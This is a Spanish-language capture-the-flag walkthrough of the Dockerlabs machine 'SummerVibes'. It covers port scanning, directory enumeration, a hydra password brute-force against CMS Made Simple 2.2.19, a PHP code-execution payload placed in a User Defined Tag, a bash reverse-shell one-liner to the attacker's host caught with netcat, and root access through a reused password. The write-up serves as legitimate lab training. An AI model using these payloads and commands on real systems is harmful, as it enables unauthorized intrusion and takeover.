SummerVibes es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Difícil
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.3 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-25 18:39 CEST Initiating ARP Ping Scan at 18:39 Scanning 172.17.0.3 [1 port] Completed ARP Ping Scan at 18:39, 0.06s elapsed (1 total hosts) Initiating SYN Stealth Scan at 18:39 Scanning 172.17.0.3 [65535 ports] Discovered open port 80/tcp on 172.17.0.3 Discovered open port 22/tcp on 172.17.0.3 Completed SYN Stealth Scan at 18:39, 1.19s elapsed (65535 total ports) Nmap scan report for 172.17.0.3 Host is up, received arp-response (0.0000070s latency). Scanned at 2024-04-25 18:39:36 CEST for 1s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:03 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.44 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parametro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p22,80 172.17.0.3 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-26 15:16 CEST Nmap scan report for 172.17.0.3 Host is up (0.000065s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 d1:19:f1:fa:48:16:af:8a:4a:89:2d:78:89:e9:2d:94 (ECDSA) |_ 256 b8:b7:2e:64:3e:ee:c3:2e:2e:be:99:07:4e:02:4f:16 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.52 (Ubuntu) MAC Address: 02:42:AC:11:00:03 (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.03 seconds |
Como no vemos nada a simple vista, tiramos de feroxbuster para ver que directorios nos encontramos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
┌──(kali㉿kali)-[~] └─$ feroxbuster --url http://172.17.0.3/cmsms -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://172.17.0.3/cmsms 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 9l 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 301 GET 9l 28w 308c http://172.17.0.3/cmsms => http://172.17.0.3/cmsms/ |
Y nos encontramos con un CMS llamado «Made Simple»
Si hacemos scroll en la pagina principal, nos encontramos con la versión.
|
1 2 |
© Copyright 2004 - 2024 - CMS Made Simple This site is powered by CMS Made Simple version 2.2.19 |
Buscando información de este CMS, podemos ver que la estructura por norma general es «https://www.mywebsite.com/admin» asi que accedemos a esa ruta y estamos en el panel de login!
Con esto ya podemos buscar exploits pero todos con los que nos encontramos piden que tengamos un usuario autenticado así que probamos con hydra y encontramos la contraseña del usuario admin.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
┌──(kali㉿kali)-[~] └─$ hydra -l admin -P Vulnyx/top12000.txt 172.17.0.3 http-post-form "/cmsms/admin/login.php:username=^USER^&password=^PASS^&&loginsubmit=Submit:User name or password incorrect" -VI Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-25 18:59:06 [DATA] max 16 tasks per 1 server, overall 16 tasks, 12646 login tries (l:1/p:12646), ~791 tries per task [DATA] attacking http-post-form://172.17.0.3:80/cmsms/admin/login.php:username=^USER^&password=^PASS^&&loginsubmit=Submit:User name or password incorrect [ATTEMPT] target 172.17.0.3 - login "admin" - pass "abraham" - 1 of 12646 [child 0] (0/0) [ATTEMPT] target 172.17.0.3 - login "admin" - pass "liverpool" - 133 of 12646 [child 15] (0/0) [ATTEMPT] target 172.17.0.3 - login "admin" - pass "blink182" - 134 of 12646 [child 3] (0/0) [ATTEMPT] target 172.17.0.3 - login "admin" - pass "asdfghjkl" - 135 of 12646 [child 8] (0/0) [ATTEMPT] target 172.17.0.3 - login "admin" - pass "andrea" - 136 of 12646 [child 12] (0/0) [ATTEMPT] target 172.17.0.3 - login "admin" - pass "spider" - 137 of 12646 [child 2] (0/0) [ATTEMPT] target 172.17.0.3 - login "admin" - pass "scooter" - 138 of 12646 [child 5] (0/0) [80][http-post-form] host: 172.17.0.3 login: admin password: chocolate 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-25 18:59:09 |
Ahora ya en el panel del CMS, usamos este exploit que ya habíamos encontrado anteriormente el cual nos hace las siguientes indicaciones:
|
1 2 3 4 |
1 ) log in as admin and go to Extensions > User Defined Tags > 2 ) Write in Code place payload > <?php echo system('id'); ?> 3 ) After click run you will be see result : uid=1000(admin) gid=1000(admin) groups=1000(admin) uid=1000(admin) gid=1000(admin) groups=1000(admin) |
Accedemos a Extensionese – User Defined Tags y editamos custom_copyright.
Aquí pondremos el código php que queramos, en este caso pondremos el que nos dice la POC, haremos click en submit y luego en run, y veremos su ejecución.
Teniendo ya un RCE, nos pondremos en escucha por netcat y levantaremos un servidor http con python , sirviendo un shell.sh como el siguiente:
|
1 2 |
└─$ cat shell.sh /bin/bash -i >& /dev/tcp/192.168.0.160/6666 0>&1 |
Entonces haremos lo mismo que antes pero con la siguiente sintaxis.
Y recibiremos la reverse shell en nuestra maquina.
|
1 2 3 4 5 6 7 |
┌──(root㉿kali)-[/home/kali] └─# nc -nvlp 6666 listening on [any] 6666 ... connect to [192.168.0.160] from (UNKNOWN) [172.17.0.3] 60436 bash: cannot set terminal process group (25): Inappropriate ioctl for device bash: no job control in this shell www-data@d1e1672830bd:/var/www/html/cmsms/admin$ |
Lo primero que vemos en la carpeta será config.php por si el usuario/contraseña nos son útiles
|
1 2 3 4 5 6 7 8 9 10 11 12 |
www-data@d1e1672830bd:/var/www/html/cmsms$ cat config.php <?php # CMS Made Simple Configuration File # Documentation: https://docs.cmsmadesimple.org/configuration/config-file/config-reference # $config['dbms'] = 'mysqli'; $config['db_hostname'] = 'localhost'; $config['db_username'] = 'cms'; $config['db_password'] = 'cms'; $config['db_name'] = 'test'; $config['db_prefix'] = 'cms_'; $config['timezone'] = 'UTC'; |
Pero mirando por encima y al no ver nada, probamos si la contraseña chocolate había sido reutilizada…
|
1 2 3 4 5 6 7 8 |
www-data@60fd647da2ea:/var/www/html/cmsms/admin$ su Password: root@60fd647da2ea:/var/www/html/cmsms/admin# cd root@60fd647da2ea:~# ls -l total 0 root@60fd647da2ea:~# id;hostname uid=0(root) gid=0(root) groups=0(root) 60fd647da2ea |
Somos root!!
Y hasta aquí la maquina de SummerVibes de la plataforma Dockerlabs!
